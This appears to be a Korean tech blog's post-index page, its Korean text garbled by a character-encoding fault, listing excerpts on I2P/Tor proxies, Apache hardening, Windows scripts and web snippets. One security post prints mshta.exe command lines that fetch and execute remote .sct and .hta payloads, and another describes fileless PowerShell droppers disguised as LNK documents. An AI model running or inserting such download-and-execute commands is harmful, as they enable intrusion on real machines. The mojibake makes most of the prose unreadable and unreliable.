728x90 ์ ์ฒด ๊ธ720 ํ๋ผ์ด๋ฒ์ - Tor ๋ธ๋ผ์ฐ์ ์์ I2P ์ฌ์ฉํ๊ธฐ 1. FoxyProxy ํ์ฅ ๊ธฐ๋ฅ์ ์ค์น FoxyProxy๋ฅผ ์ค์นํด์ค๋ค. ๋ง์ฝ FoxyProxy๋ฅผ ์ค์นํ๋๋ฐ๋ ๋ธ๋ผ์ฐ์ ๋๊ตฌ ๋ชจ์์ ํ์๊ฐ ์๋๋ฉด "๋๊ตฌ ๋ชจ์ ์ฌ์ฉ์ ์ง์ (C)"์์ ๋ณด์ด๊ฒ ์ค์ 2. FoxyProxy ์ค์ I2P ํ๋ก์๋ฅผ ์๋ก ์์ฑ Proxy Type: HTTP Proxy IP address: 127.0.0.1 Port: 4444 3. I2P ํ๋ก์ ํจํด ์ค์ I2P๋ ์์ํ๋ก์๊ฐ TOR ๋ณด๋ค๋ ์ ๊ธฐ ๋๋ฌธ์ ํ๋ผ์ด๋ฒ์ ๋ณดํธ(์ฐจ๋จ ๋นํ๊ธฐ ์ฌ์)๊ฐ ๋จ์ด์ง๋ค๊ณ ํ๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํด๋ฆฌ์ด๋ท์์๋ ์์์ ๋นํ์ฑํ๋ฅผ ํ๊ณ .i2p ์ฃผ์์์๋ง ํ์ฑํํ๊ฒ ์ค์ ์ ํด์ผ ํ๋ค. ๋ฐฉ๊ธ ์์ฑํด ์ค I2P์ "Patterns"๋ฅผ ๋๋ฅธ๋ค. ํจํด์ ์์ ํ๋ค. Pattern: *.*.i2p ํ์ฅ ๋๊ตฌ์์ "Use En.. 2023. 2. 11. ํ๋ผ์ด๋ฒ์ - ์๋์ฐ I2P, TOR ํ๋ก์ ์ ์๊ธฐ enableI2PProxy.bat reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d http=127.0.0.1:4444;https=127.0.0.1:4444;ftp=127.0.0.1:4444;socks=127.0.0.1:4444 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v Pro.. 2023. 2. 10. ์๋์ฐ - ํ์์๋ก ๋ฐํํ๋ฉด ์คํฌ๋ฆฐ์ท ์บก์ฒ [Reflection.Assembly]::LoadWithPartialName("System.Drawing") function screenshot([Drawing.Rectangle]$bounds, $path) { $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save($path) $graphics.Dispose() $bmp.Dispose() } $bounds = [Drawing.Rectangle]::Fro.. 2023. 2. 8. ์ํ์น - ํฌํธ ๋ณ๊ฒฝํ๊ธฐ sudo vim etc/apache2/ports.conf Listen 80 ๋ถ๋ถ์ ์์ ํฉ๋๋ค. 2023. 2. 8. ์์คํ ๋ณด์ - ์๋์ฐ MSHTA(Microsoft HTML Application) ๊ณต๊ฒฉ command-line mshta.exe vbscript:Close(Execute("GetObject(""script:http://127.0.0.1:4444/payload.sct"")")) mshta.exe http://127.0.0.1:4444/payload.hta mshta.exe \\127.0.0.1\folder\payload.hta payload.hta (SCT payloads) ๊ฒฐ๊ณผ HTA(HTML Application) ๋ณด๋ ๊ฒ์ฒ๋ผ ์๋์ฐ์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ค์น๋ mshta.exe(Microsoft HTML Application)๋ ๋ง์น ์น ๋ธ๋ผ์ฐ์ ์ฒ๋ผ ์ธ๋ถ์ ์๋ ์น ํ์ด์ง๋ฅผ ์์ฒญํ๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์๋ค. ์ฌ๊ธฐ์ ๋ฌธ์ ์ ์ ์ฌ๊ธฐ์ ๋ด์ฅ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ธํฐ๋ท ์ต์คํ๋ก๋ฌ ๊ธฐ๋ฐ์ธ์ง ActiveXObject.. 2023. 2. 7. ์์คํ ๋ณด์ - ์คํ ํ์ผ์ด ์๋ ์ฐํ ๊ธฐ๋ฒ(ํ์ผ๋ฆฌ์ค ๊ณต๊ฒฉ) "ํ์ผ๋ฆฌ์ค"๋ผ๋ ์ฉ์ด๋ ์ปดํจํฐ์ ๋ฉ๋ชจ๋ฆฌ์๋ง ์๋ ๋ฐฑ๋์ด์ ๊ฐ์ ์ํ์ด ํ์ผ์ ์ ๊ณต๋์ง ์์์ ์์ฌํฉ๋๋ค. ํ์ผ๋ฆฌ์ค ๊ธฐ๋ฒ์ ๊ณต๊ฒฉ์ด ํ์ง๋์ง ์๊ฑฐ๋ ์ถ์ ์ด ํ๋ค๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ ์ฑ์ฝ๋๊ฐ ๋์คํฌ์ ํ์ผ ํํ๋ก ์กด์ฌํ์ง ์์ ์ค์บ ๋์์ด ๋์ง๊ฐ ์๋๋ค. 2016๋ ๋๋ถํฐ ํ์์์ด ํ์ฉ์ด ๋ ํ์ผ๋ฆฌ์ค ๊ณต๊ฒฉ์ด ์ฆ๊ฐ์ธ๋ฅผ ๋ณด์๋ค. ์์ 1) LNK ํ์ผ์ ์ด์ฉํ ํ์์ ธ ์ ๋ผ์ด๋ ์คํ ํ๋ฉด์ clickme๋ผ๋ ์ด๋ฆ์ ๋ฌธ์ ํ์ผ์ฒ๋ผ ๋ณด์ด๋ ํ์ผ์ ์ฌ์ค LNK ํ์ผ์ด๋ค. ํ์ผ์ ์์ฑ์ ์ดํด๋ณด๋ฉด ํ์์ ธ์ด ์คํ๋๋๋ก ๋ฑ๋ก๋ผ ์๋ ๊ฒ์ ๋ณผ ์ ์๋๋ฐ, ์๋ํฐ๋ฅผ ์ด์ฉํด ํ์ผ์ ๋ด์ฉ์ ์์ธํ ์ดํด๋ณด๋ฉด, ํ์์ ธ ์ ๋ผ์ด๋๋ผ๋ ๊ฒ์ ์ ์ ์๋ค. [๊ทธ๋ฆผ 7] clickme ๋ฌธ์๋ก ๋ณด์ด๋ LNK ํ์ผ ์์ 2) ์์ ์ ์ด์ฉํ ํ์์ ธ ์ .. 2023. 2. 7. ์ํ์น - ์ํ์น ์๋ฒ ์ ๋ณด(๋ฒ์ , OS ์ ๋ณด, ์์ดํผ ์จ๊ธฐ๊ธฐ) Simple: sudo nano /etc/apache2/conf-enabled/security.conf Then: change ServerTokens OS to ServerTokens Prod change ServerSignature On to ServerSignature Off Restart Apache : sudo service apache2 restart ServerTokens Prod[uctOnly] # ์น์๋ฒ ์ข ๋ฅ๋ง ServerTokens Min[imal] # ์น์๋ฒ ์ข ๋ฅ ๋ฐ ์ต์ ์ ๋ณด ServerTokens OS # ์น์๋ฒ ์ข ๋ฅ ๋ฐ OS ์ ๋ณด ServerTokens Full # ์น์๋ฒ ์ข ๋ฅ, OS ์ ๋ณด ๋ฐ ์ค์น๋ ๋ชจ๋ ์ ๋ณด ServerSignature Off # ์น ์๋ฒ ์๊ทธ๋์ฒ ์ ๋ณด(์ด๋ฉ์ผ,.. 2023. 2. 6. ์ํ์น - ์ํ์น ๋๋ ํ ๋ฆฌ ๋ฆฌ์คํ ๋ฐฉ์งํ๊ธฐ ์ค์ ํ์ผ ๊ฒฝ๋ก sudo vim /etc/apache2/apache2.conf (Options ์ง์์์ Indexes๋ฅผ ์ ๊ฑฐ) Options FollowSymLinks AllowOverride None Require all granted ์๋น์ค ์ฌ์์ sudo service apache2 restart ๊ฒฐ๊ณผ 2023. 2. 6. ๋คํฌ๋ท - Tor2Web Tor ํ๋ก์๋ก๋ง ์ ์ํ ์ ์๋ .onion ์ฃผ์๋ค์ ํ๋ก์๋ ์์ด ์ ๊ทผํ ์ ์๊ฒ ํ๋ ํ๋ก์ ํธ์ด๋ค. ์ฌ์ฉ ๋ฐฉ๋ฒ ์ฌ์ฉ ๋ฐฉ๋ฒ์ ๊ฐ๋จํ๋ฐ .onion ์ฃผ์๋ก ๋ ์ด๋์ธ ์ฃผ์ ๋ค์๋ค Tor2Web์ ์ต์์ ๋๋ฉ์ธ ์ฃผ์๋ฅผ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค. ์์) abc123.onion -> abc123.onion.pet abc123.onion -> abc123.onion.to ์๋ฆฌ ์ด๋ค ์๋ฆฌ๋๋ฉด, Tor2Web์ ์ด์ํ๋ ๋จ์ฒด๊ฐ onion์ด๋ผ๋ ๋๋ฉ์ธ ์ด๋ฆ์ ์ฐ๋ค. (onion.to ์ด๋ฐ ๋๋ฉ์ธ์ ๊ตฌ๋งค ํจ) ์ ์ฃผ์ ์์๋ค ๋ฌธ์์ด์ ๋ฃ์ผ๋ฉด ๊ทธ๊ฑด ํธ์คํธ ์ฃผ์๊ฐ ๋จ ex) abc123.onion.to ๊ทธ๋ผ Tor2Web ์๋ฒ๊ฐ ์ค์ abc123.onion์ด๋ผ๋ ์ด๋์ธ ์๋ฒ ์ฃผ์์ ์ ์์ ํด์ ๊ทธ ์ฌ์ดํธ ๋ด์ฉ์ ๊ฐ์ ธ์ ์ผ๋ฐ ๋ธ๋ผ์ฐ.. 2023. 2. 6. CSS - :before๋ฅผ ์ด์ฉํ ์ฑํ ์ฐฝ ๋งํ์ ๊ผฌ๋ฆฌ ๋ง๋ค๊ธฐ .parent { height: 20px; width: 100px; background-color: #080; position: relative; } .child { position: absolute; width: 80px; height: 200px; background-color: #008; left: 50%; /* note 50% */ top: 30px; margin-left: -20px; /* 2x your arrow size */ } .child:before { position: absolute; border-right: 10px solid transparent; border-bottom: 10px solid #008; border-left: 10px solid transparent; top: -.. 2023. 2. 5. ์๋ฐ์คํฌ๋ฆฝํธ - ๋ธ๋ผ์ฐ์ ํญ์ด ํ์ฑํ์ธ์ง ํ์ธํ๊ธฐ(document.hidden) if (document.hidden) console.log('๋นํ์ฑํ'); else console.log('ํ์ฑํ'); ์ถ์ฒ: https://stackoverflow.com/questions/1760250/how-to-tell-if-browser-tab-is-active How to tell if browser/tab is active Possible Duplicate: Is there a way to detect if a browser window is not currently active? I have a function that is called every second that I only want to run if the current page is in the stackoverflow.com 2023. 2. 5. ํ์ด์ฌ - ์ธ์ ๋ง๋ฃ ์๊ฐ ๊ฒ์ฆํ๊ธฐ from datetime import timedelta, datetime session_lifetime = timedelta(seconds=10) # ์ธ์ ์ ์ง ์๊ฐ expired_time = datetime.now() + session_lifetime if expired_time < datetime.now(): print("์ธ์ ์ฌ์ฉ ๊ธฐ๊ฐ์ด ๋ง๋ฃ๋จ.") 2023. 2. 3. ์ด์ 1 ยทยทยท 22 23 24 25 26 27 28 ยทยทยท 60 ๋ค์ 728x90